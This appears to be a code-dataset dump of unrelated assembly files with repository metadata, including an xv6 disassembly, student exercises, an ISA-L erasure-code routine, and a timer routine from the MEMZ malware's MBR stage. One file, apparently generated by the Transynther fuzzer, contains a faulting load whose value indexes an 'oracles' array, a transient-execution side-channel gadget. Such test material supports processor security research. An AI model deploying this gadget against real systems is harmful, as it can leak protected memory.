71e: 8b 45 fc mov -0x4(%ebp),%eax 721: a3 d0 0a 00 00 mov %eax,0xad0 } 726: c9 leave 727: c3 ret 00000728 <morecore>: static Header* morecore(uint nu) { 728: 55 push %ebp 729: 89 e5 mov %esp,%ebp 72b: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 72e: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 735: 77 07 ja 73e <morecore+0x16> nu = 4096; 737: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 73e: 8b 45 08 mov 0x8(%ebp),%eax 741: c1 e0 03 shl $0x3,%eax 744: 89 04 24 mov %eax,(%esp) 747: e8 10 fc ff ff call 35c <sbrk> 74c: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 74f: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 753: 75 07 jne 75c <morecore+0x34> return 0; 755: b8 00 00 00 00 mov $0x0,%eax 75a: eb 22 jmp 77e <morecore+0x56> hp = (Header*)p; 75c: 8b 45 f4 mov -0xc(%ebp),%eax 75f: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 762: 8b 45 f0 mov -0x10(%ebp),%eax 765: 8b 55 08 mov 0x8(%ebp),%edx 768: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 76b: 8b 45 f0 mov -0x10(%ebp),%eax 76e: 83 c0 08 add $0x8,%eax 771: 89 04 24 mov %eax,(%esp) 774: e8 ce fe ff ff call 647 <free> return freep; 779: a1 d0 0a 00 00 mov 0xad0,%eax } 77e: c9 leave 77f: c3 ret 00000780 <malloc>: void* malloc(uint nbytes) { 780: 55 push %ebp 781: 89 e5 mov %esp,%ebp 783: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 786: 8b 45 08 mov 0x8(%ebp),%eax 789: 83 c0 07 add $0x7,%eax 78c: c1 e8 03 shr $0x3,%eax 78f: 83 c0 01 add $0x1,%eax 792: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 795: a1 d0 0a 00 00 mov 0xad0,%eax 79a: 89 45 f0 mov %eax,-0x10(%ebp) 79d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 7a1: 75 23 jne 7c6 <malloc+0x46> base.s.ptr = freep = prevp = &base; 7a3: c7 45 f0 c8 0a 00 00 movl $0xac8,-0x10(%ebp) 7aa: 8b 45 f0 mov -0x10(%ebp),%eax 7ad: a3 d0 0a 00 00 mov %eax,0xad0 7b2: a1 d0 0a 00 00 mov 0xad0,%eax 7b7: a3 c8 0a 00 00 mov %eax,0xac8 base.s.size = 0; 7bc: c7 05 cc 0a 00 00 00 movl $0x0,0xacc 7c3: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7c6: 8b 45 f0 mov -0x10(%ebp),%eax 7c9: 8b 00 mov (%eax),%eax 7cb: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 7ce: 8b 45 f4 mov -0xc(%ebp),%eax 7d1: 8b 40 04 mov 0x4(%eax),%eax 7d4: 3b 45 ec cmp -0x14(%ebp),%eax 7d7: 72 4d jb 826 <malloc+0xa6> if(p->s.size == nunits) 7d9: 8b 45 f4 mov -0xc(%ebp),%eax 7dc: 8b 40 04 mov 0x4(%eax),%eax 7df: 3b 45 ec cmp -0x14(%ebp),%eax 7e2: 75 0c jne 7f0 <malloc+0x70> prevp->s.ptr = p->s.ptr; 7e4: 8b 45 f4 mov -0xc(%ebp),%eax 7e7: 8b 10 mov (%eax),%edx 7e9: 8b 45 f0 mov -0x10(%ebp),%eax 7ec: 89 10 mov %edx,(%eax) 7ee: eb 26 jmp 816 <malloc+0x96> else { p->s.size -= nunits; 7f0: 8b 45 f4 mov -0xc(%ebp),%eax 7f3: 8b 40 04 mov 0x4(%eax),%eax 7f6: 2b 45 ec sub -0x14(%ebp),%eax 7f9: 89 c2 mov %eax,%edx 7fb: 8b 45 f4 mov -0xc(%ebp),%eax 7fe: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 801: 8b 45 f4 mov -0xc(%ebp),%eax 804: 8b 40 04 mov 0x4(%eax),%eax 807: c1 e0 03 shl $0x3,%eax 80a: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 80d: 8b 45 f4 mov -0xc(%ebp),%eax 810: 8b 55 ec mov -0x14(%ebp),%edx 813: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 816: 8b 45 f0 mov -0x10(%ebp),%eax 819: a3 d0 0a 00 00 mov %eax,0xad0 return (void*)(p + 1); 81e: 8b 45 f4 mov -0xc(%ebp),%eax 821: 83 c0 08 add $0x8,%eax 824: eb 38 jmp 85e <malloc+0xde> } if(p == freep) 826: a1 d0 0a 00 00 mov 0xad0,%eax 82b: 39 45 f4 cmp %eax,-0xc(%ebp) 82e: 75 1b jne 84b <malloc+0xcb> if((p = morecore(nunits)) == 0) 830: 8b 45 ec mov -0x14(%ebp),%eax 833: 89 04 24 mov %eax,(%esp) 836: e8 ed fe ff ff call 728 <morecore> 83b: 89 45 f4 mov %eax,-0xc(%ebp) 83e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 842: 75 07 jne 84b <malloc+0xcb> return 0; 844: b8 00 00 00 00 mov $0x0,%eax 849: eb 13 jmp 85e <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 84b: 8b 45 f4 mov -0xc(%ebp),%eax 84e: 89 45 f0 mov %eax,-0x10(%ebp) 851: 8b 45 f4 mov -0xc(%ebp),%eax 854: 8b 00 mov (%eax),%eax 856: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 859: e9 70 ff ff ff jmp 7ce <malloc+0x4e> } 85e: c9 leave 85f: c3 ret
33.948697
60
0.426851
[ "MIT-0" ]
joeofportland/project4-3
echo.asm
41,689
Assembly
4
TITLE Program_2 (Program_2.asm) ; Author: Brian Stamm ; Email: [email protected] ; Course: CS 271-400 ; Assignment: 02 ; Date: 4.19.15 ; Description: Obtains the user's name, greets them, and then gives the user ; a brief description of the program. Asks for how far down the Fib sequence ; they would like to go, and then prints off the result. INCLUDE Irvine32.inc UPPER = 46 ;Constant, upper limit of number user can input .data intro_1 Byte "Brian Stamm ", 0 intro_2 Byte "Assignment 2 ", 0 getUserName Byte "What is your name: ", 0 userName Byte 33 DUP(0) hello Byte "Hello, ", 0 welcome Byte " nice to meet you! Welcome to my program.", 0 instruct_1 Byte "This program will display the total number of Fibonacci",0 instruct_2 Byte "numbers you want to see. Pick between 1 and 46.", 0 select Byte "How many Fibonacci numbers: ", 0 uFibNum Dword ? ; user inputed number fibA Dword 1 ; used to calculate the Fib sequence fibB Dword 1 counter Dword 0 ; variable to set counter to zero five Dword 5 ; variable to compare to five space Byte " ", 0 ; used for spacing with numbers error Byte "Sorry, that number was too high. Remember, between 1 and 46.", 0 ;error message result Byte "That's the results.", 0 goodbye Byte "Goodbye, ", 0 .code main PROC ; Introduction ; Title line, Brian & Assignment mov edx, OFFSET intro_1 call WriteString mov edx, OFFSET intro_2 call WriteString call CrLf call CrLf ; Get User Name and save to variable mov edx, OFFSET getUserName call WriteString mov edx, OFFSET userName mov ecx, 32 call ReadString call CrLf ; Welcomes user mov edx, OFFSET hello call WriteString mov edx, OFFSET userName call WriteString mov edx, OFFSET welcome call WriteString call CrLf ; userInstructions, prints basic instructions for user mov edx, OFFSET instruct_1 call WriteString call CrLf mov edx, OFFSET instruct_2 call WriteString call CrLf call CrLf ; getUserData, to get the Fib number from user notValid: mov edx, OFFSET select call WriteString call ReadInt mov ufibNum, eax call CrLf cmp ufibNum, UPPER ;compares user number to upper, will loop if too big jbe math ; if not will jump to next section a2: mov edx, OFFSET error ; prints error message call WriteString call CrLf jmp notValid ; displayFibs math: ; start by setting up registers mov ecx, ufibNum dec ecx mov eax, fibA call WriteDec mov edx, OFFSET space call WriteString top: ; then creates loop to calculate fib number mov eax, fibA mov ebx, fibB add eax, ebx mov fibA, ebx mov fibB, eax mov eax, fibA call WriteDec mov edx, OFFSET space call WriteString ;prints the number ; now creates counter to ensure only 5 numbers printed on a line inc counter mov counter, eax mov edx, 0 div five ; if counter is divisible by 5, new line cmp edx, 0; jne b1 call CrLf b1: loop top ; farewell to user call CrLf call CrLf mov edx, OFFSET result call WriteString ;mov eax, sum ;call WriteDec call CrLf mov edx, OFFSET goodbye call WriteString mov edx, OFFSET userName call WriteString call CrLf call CrLf exit ; exit to operating system main ENDP END main
24.118881
95
0.680197
[ "MIT" ]
bkstamm67/assembly
Program_2.asm
3,449
Assembly
4
defaultClock equ 11932 ; ~100 Hz currentClock dw defaultClock ; Updates the current timer value setTimer: mov ax, [currentClock] out 0x40, al mov al, ah out 0x40, al ret maxClock equ defaultClock/6 minClock equ defaultClock*3 ; Speed increase is calculated using the following formula: ; currentClock = currentClock * clockPreMul / clockDiv clockPreMul equ 2 clockDiv equ 3 ; Speeds up the current timer speedUp: mov ax, [currentClock] mov bx, clockPreMul mul bx mov bx, clockDiv div bx cmp ax, maxClock ja .resetTimer ; If too fast, reset the timer to the minimum speed mov ax, minClock .resetTimer: mov [currentClock], ax call setTimer ret
16.333333
59
0.733236
[ "BSD-2-Clause" ]
johnmelodyme/Viruses
MEMZ/NyanMBR/Source/Stage2/Utils/timer.asm
686
Assembly
4
; A111284: Number of permutations of [n] avoiding the patterns {2143, 2341, 2413, 2431, 3142, 3241, 3412, 3421, 4123, 4213, 4231, 4321, 4132, 4312}; number of strong sorting classes based on 2143. ; 1,2,6,10,14,18,22,26,30,34,38,42,46,50,54,58,62,66,70,74,78,82,86,90,94,98,102,106,110,114,118,122,126,130,134,138,142,146,150,154,158,162,166,170,174,178,182,186,190,194,198,202,206,210,214,218,222,226,230,234,238,242,246,250,254,258,262,266,270,274,278,282,286,290,294,298,302,306,310,314,318,322,326,330,334,338,342,346,350,354,358,362,366,370,374,378,382,386,390,394,398,402,406,410,414,418,422,426,430,434,438,442,446,450,454,458,462,466,470,474,478,482,486,490,494,498,502,506,510,514,518,522,526,530,534,538,542,546,550,554,558,562,566,570,574,578,582,586,590,594,598,602,606,610,614,618,622,626,630,634,638,642,646,650,654,658,662,666,670,674,678,682,686,690,694,698,702,706,710,714,718,722,726,730,734,738,742,746,750,754,758,762,766,770,774,778,782,786,790,794,798,802,806,810,814,818,822,826,830,834,838,842,846,850,854,858,862,866,870,874,878,882,886,890,894,898,902,906,910,914,918,922,926,930,934,938,942,946,950,954,958,962,966,970,974,978,982,986,990,994 mov $1,$0 mul $1,4 trn $1,3 add $1,1
151
972
0.732616
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/111/A111284.asm
1,208
Assembly
4
# # Test for instruction VJM. # org 1 utc 0 vjm a,2 # справа lbl a utm -2,2 # a = 2 vim fail,2 lbl c vjm b,2 # слева lbl b utm -4,2 # b = 4 vim fail,2 lbl d vjm f,2 # слева lbl e utc -1 lbl f vtm 1,3 vzm fail,3 lbl g vtm -1,3 vjm i,2 lbl h vtm -2,3 lbl i utm 1,3 vim fail,3 lbl pass stop 0o12345,6 lbl fail stop 0o76543,2
18.382353
39
0.3344
[ "MIT" ]
x86128/pymesm
test/05_vjm.asm
641
Assembly
4
.global s_prepare_buffers s_prepare_buffers: push %r11 push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x56dd, %rsi lea addresses_normal_ht+0x143e2, %rdi clflush (%rsi) nop nop cmp $61409, %r11 mov $44, %rcx rep movsb nop nop nop sub $1407, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r8 push %rax push %rcx // Faulty Load lea addresses_D+0xacdd, %r11 nop nop xor %rax, %rax movups (%r11), %xmm3 vpextrq $1, %xmm3, %r8 lea oracles, %rax and $0xff, %r8 shlq $12, %r8 mov (%rax,%r8,1), %r8 pop %rcx pop %rax pop %r8 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
62.439394
2,999
0.664159
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1998.asm
4,121
Assembly
4
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2015 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; gf_3vect_mad_avx2(len, vec, vec_i, mul_array, src, dest); ;;; %include "reg_sizes.asm" %define PS 8 %ifidn __OUTPUT_FORMAT__, win64 %define arg0 rcx %define arg0.w ecx %define arg1 rdx %define arg2 r8 %define arg3 r9 %define arg4 r12 ; must be saved, loaded and restored %define arg5 r15 ; must be saved and restored %define tmp r11 %define tmp.w r11d %define tmp.b r11b %define return rax %define return.w eax %define stack_size 16*10 + 3*8 %define arg(x) [rsp + stack_size + PS + PS*x] %define func(x) proc_frame x %macro FUNC_SAVE 0 sub rsp, stack_size vmovdqa [rsp+16*0],xmm6 vmovdqa [rsp+16*1],xmm7 vmovdqa [rsp+16*2],xmm8 vmovdqa [rsp+16*3],xmm9 vmovdqa [rsp+16*4],xmm10 vmovdqa [rsp+16*5],xmm11 vmovdqa [rsp+16*6],xmm12 vmovdqa [rsp+16*7],xmm13 vmovdqa [rsp+16*8],xmm14 vmovdqa [rsp+16*9],xmm15 save_reg r12, 10*16 + 0*8 save_reg r15, 10*16 + 1*8 end_prolog mov arg4, arg(4) mov arg5, arg(5) %endmacro %macro FUNC_RESTORE 0 vmovdqa xmm6, [rsp+16*0] vmovdqa xmm7, [rsp+16*1] vmovdqa xmm8, [rsp+16*2] vmovdqa xmm9, [rsp+16*3] vmovdqa xmm10, [rsp+16*4] vmovdqa xmm11, [rsp+16*5] vmovdqa xmm12, [rsp+16*6] vmovdqa xmm13, [rsp+16*7] vmovdqa xmm14, [rsp+16*8] vmovdqa xmm15, [rsp+16*9] mov r12, [rsp + 10*16 + 0*8] mov r15, [rsp + 10*16 + 1*8] add rsp, stack_size %endmacro %elifidn __OUTPUT_FORMAT__, elf64 %define arg0 rdi %define arg0.w edi %define arg1 rsi %define arg2 rdx %define arg3 rcx %define arg4 r8 %define arg5 r9 %define tmp r11 %define tmp.w r11d %define tmp.b r11b %define return rax %define return.w eax %define func(x) x: endbranch %define FUNC_SAVE %define FUNC_RESTORE %endif ;;; gf_3vect_mad_avx2(len, vec, vec_i, mul_array, src, dest) %define len arg0 %define len.w arg0.w %define vec arg1 %define vec_i arg2 %define mul_array arg3 %define src arg4 %define dest1 arg5 %define pos return %define pos.w return.w %define dest2 mul_array %define dest3 vec_i %ifndef EC_ALIGNED_ADDR ;;; Use Un-aligned load/store %define XLDR vmovdqu %define XSTR vmovdqu %else ;;; Use Non-temporal load/stor %ifdef NO_NT_LDST %define XLDR vmovdqa %define XSTR vmovdqa %else %define XLDR vmovntdqa %define XSTR vmovntdq %endif %endif default rel [bits 64] section .text %define xmask0f ymm15 %define xmask0fx xmm15 %define xgft1_lo ymm14 %define xgft1_hi ymm13 %define xgft2_lo ymm12 %define xgft3_lo ymm11 %define x0 ymm0 %define xtmpa ymm1 %define xtmph1 ymm2 %define xtmpl1 ymm3 %define xtmph2 ymm4 %define xtmpl2 ymm5 %define xtmpl2x xmm5 %define xtmph3 ymm6 %define xtmpl3 ymm7 %define xtmpl3x xmm7 %define xd1 ymm8 %define xd2 ymm9 %define xd3 ymm10 align 16 mk_global gf_3vect_mad_avx2, function func(gf_3vect_mad_avx2) FUNC_SAVE sub len, 32 jl .return_fail xor pos, pos mov tmp.b, 0x0f vpinsrb xmask0fx, xmask0fx, tmp.w, 0 vpbroadcastb xmask0f, xmask0fx ;Construct mask 0x0f0f0f... sal vec_i, 5 ;Multiply by 32 sal vec, 5 lea tmp, [mul_array + vec_i] vmovdqu xgft1_lo, [tmp] ;Load array Ax{00}, Ax{01}, ..., Ax{0f} ; " Ax{00}, Ax{10}, ..., Ax{f0} vperm2i128 xgft1_hi, xgft1_lo, xgft1_lo, 0x11 ; swapped to hi | hi vperm2i128 xgft1_lo, xgft1_lo, xgft1_lo, 0x00 ; swapped to lo | lo vmovdqu xgft2_lo, [tmp+vec] ;Load array Bx{00}, Bx{01}, Bx{02}, ... ; " Bx{00}, Bx{10}, Bx{20}, ... , Bx{f0} vmovdqu xgft3_lo, [tmp+2*vec] ;Load array Cx{00}, Cx{01}, Cx{02}, ... ; " Cx{00}, Cx{10}, Cx{20}, ... , Cx{f0} mov dest2, [dest1+PS] ; reuse mul_array mov dest3, [dest1+2*PS] ; reuse vec_i mov dest1, [dest1] .loop32: XLDR x0, [src+pos] ;Get next source vector XLDR xd1, [dest1+pos] ;Get next dest vector XLDR xd2, [dest2+pos] ;Get next dest vector XLDR xd3, [dest3+pos] ;Get next dest vector vperm2i128 xtmph2, xgft2_lo, xgft2_lo, 0x11 ; swapped to hi | hi vperm2i128 xtmpl2, xgft2_lo, xgft2_lo, 0x00 ; swapped to lo | lo vperm2i128 xtmph3, xgft3_lo, xgft3_lo, 0x11 ; swapped to hi | hi vperm2i128 xtmpl3, xgft3_lo, xgft3_lo, 0x00 ; swapped to lo | lo vpand xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0 vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0 vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0 ; dest1 vpshufb xtmph1, xgft1_hi, x0 ;Lookup mul table of high nibble vpshufb xtmpl1, xgft1_lo, xtmpa ;Lookup mul table of low nibble vpxor xtmph1, xtmph1, xtmpl1 ;GF add high and low partials vpxor xd1, xd1, xtmph1 ;xd1 += partial ; dest2 vpshufb xtmph2, x0 ;Lookup mul table of high nibble vpshufb xtmpl2, xtmpa ;Lookup mul table of low nibble vpxor xtmph2, xtmpl2 ;GF add high and low partials vpxor xd2, xtmph2 ;xd2 += partial ; dest3 vpshufb xtmph3, x0 ;Lookup mul table of high nibble vpshufb xtmpl3, xtmpa ;Lookup mul table of low nibble vpxor xtmph3, xtmpl3 ;GF add high and low partials vpxor xd3, xtmph3 ;xd3 += partial XSTR [dest1+pos], xd1 XSTR [dest2+pos], xd2 XSTR [dest3+pos], xd3 add pos, 32 ;Loop on 32 bytes at a time cmp pos, len jle .loop32 lea tmp, [len + 32] cmp pos, tmp je .return_pass .lessthan32: ;; Tail len ;; Do one more overlap pass mov tmp.b, 0x1f vpinsrb xtmpl2x, xtmpl2x, tmp.w, 0 vpbroadcastb xtmpl2, xtmpl2x ;Construct mask 0x1f1f1f... mov tmp, len ;Overlapped offset length-32 XLDR x0, [src+tmp] ;Get next source vector XLDR xd1, [dest1+tmp] ;Get next dest vector XLDR xd2, [dest2+tmp] ;Get next dest vector XLDR xd3, [dest3+tmp] ;Get next dest vector sub len, pos vmovdqa xtmph3, [constip32] ;Load const of i + 32 vpinsrb xtmpl3x, xtmpl3x, len.w, 15 vinserti128 xtmpl3, xtmpl3, xtmpl3x, 1 ;swapped to xtmpl3x | xtmpl3x vpshufb xtmpl3, xtmpl3, xtmpl2 ;Broadcast len to all bytes. xtmpl2=0x1f1f1f... vpcmpgtb xtmpl3, xtmpl3, xtmph3 vperm2i128 xtmph2, xgft2_lo, xgft2_lo, 0x11 ; swapped to hi | hi vperm2i128 xgft2_lo, xgft2_lo, xgft2_lo, 0x00 ; swapped to lo | lo vperm2i128 xtmph3, xgft3_lo, xgft3_lo, 0x11 ; swapped to hi | hi vperm2i128 xgft3_lo, xgft3_lo, xgft3_lo, 0x00 ; swapped to lo | lo vpand xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0 vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0 vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0 ; dest1 vpshufb xtmph1, xgft1_hi, x0 ;Lookup mul table of high nibble vpshufb xtmpl1, xgft1_lo, xtmpa ;Lookup mul table of low nibble vpxor xtmph1, xtmph1, xtmpl1 ;GF add high and low partials vpand xtmph1, xtmph1, xtmpl3 vpxor xd1, xd1, xtmph1 ;xd1 += partial ; dest2 vpshufb xtmph2, xtmph2, x0 ;Lookup mul table of high nibble vpshufb xgft2_lo, xgft2_lo, xtmpa ;Lookup mul table of low nibble vpxor xtmph2, xtmph2, xgft2_lo ;GF add high and low partials vpand xtmph2, xtmph2, xtmpl3 vpxor xd2, xd2, xtmph2 ;xd2 += partial ; dest3 vpshufb xtmph3, xtmph3, x0 ;Lookup mul table of high nibble vpshufb xgft3_lo, xgft3_lo, xtmpa ;Lookup mul table of low nibble vpxor xtmph3, xtmph3, xgft3_lo ;GF add high and low partials vpand xtmph3, xtmph3, xtmpl3 vpxor xd3, xd3, xtmph3 ;xd3 += partial XSTR [dest1+tmp], xd1 XSTR [dest2+tmp], xd2 XSTR [dest3+tmp], xd3 .return_pass: mov return, 0 FUNC_RESTORE ret .return_fail: mov return, 1 FUNC_RESTORE ret endproc_frame section .data align 32 constip32: dq 0xf8f9fafbfcfdfeff, 0xf0f1f2f3f4f5f6f7 dq 0xe8e9eaebecedeeef, 0xe0e1e2e3e4e5e6e7 ;;; func core, ver, snum slversion gf_3vect_mad_avx2, 04, 01, 0208
28.915094
79
0.703861
[ "BSD-3-Clause" ]
01org/isa-l
erasure_code/gf_3vect_mad_avx2.asm
9,195
Assembly
4
.MODEL SMALL .DATA M1 DB 01H,01H,01H,01H,01H,01H,01H,01H,01H M2 DB 01H,01H,01H,01H,01H,05H,01H,01H,01H M3 DB 9 DUP(0) M4 DB ' $' MES1 DB 0AH,0DH,"THE MULTIPLICATION OF TWO MATRIX IS $"; .CODE .STARTUP MOV DX,OFFSET MES1 MOV AH,09H INT 21H MOV CL,0 MOV CH,0 P1:XOR BX,BX MOV BL,CH MOV DL,M2[BX] XOR BX,BX MOV BL,CL MOV AL,M1[BX] MUL DL ADD M3[BX],AL XOR BX,BX MOV BL,CH MOV DL,M2[BX+1] XOR BX,BX MOV BL,CL MOV AL,M1[BX+1] MUL DL ADD M3[BX+1],AL XOR BX,BX MOV BL,CH MOV DL,M2[BX+2] XOR BX,BX MOV BL,CL MOV AL,M1[BX+2] MUL DL ADD M3[BX+2],AL ADD CH,3 CMP CH,8 JBE P1 ADD CL,3 CMP CL,8 JBE P1 MOV DX,0AH MOV AH,02H INT 21H MOV CL,0 MOV CH,0 PP:XOR BX,BX MOV BL,CL MOV AL,M3[BX] MOV DL,AL ROL DL,4 AND DL,0FH ADD DL,30H CMP DL,'9' JBE F1 ADD DL,7H F1:MOV AH,02H INT 21H MOV AL,M3[BX] AND AL,0FH MOV DL,AL ADD DL,30H CMP DL,'9' JBE F2 ADD DL,7 F2:MOV AH,02H INT 21H MOV DX,OFFSET M4 MOV AH,09H INT 21H INC CH CMP CH,3 JNZ L1 MOV DX,0AH MOV AH,02H INT 21H MOV CH,0 L1:INC CL CMP CL,9 JNZ PP MOV AH,4CH INT 21H END
12.337079
58
0.635701
[ "Apache-2.0" ]
AdiSatnalika/Microprocessor
Matrix multiply.asm
1,098
Assembly
4
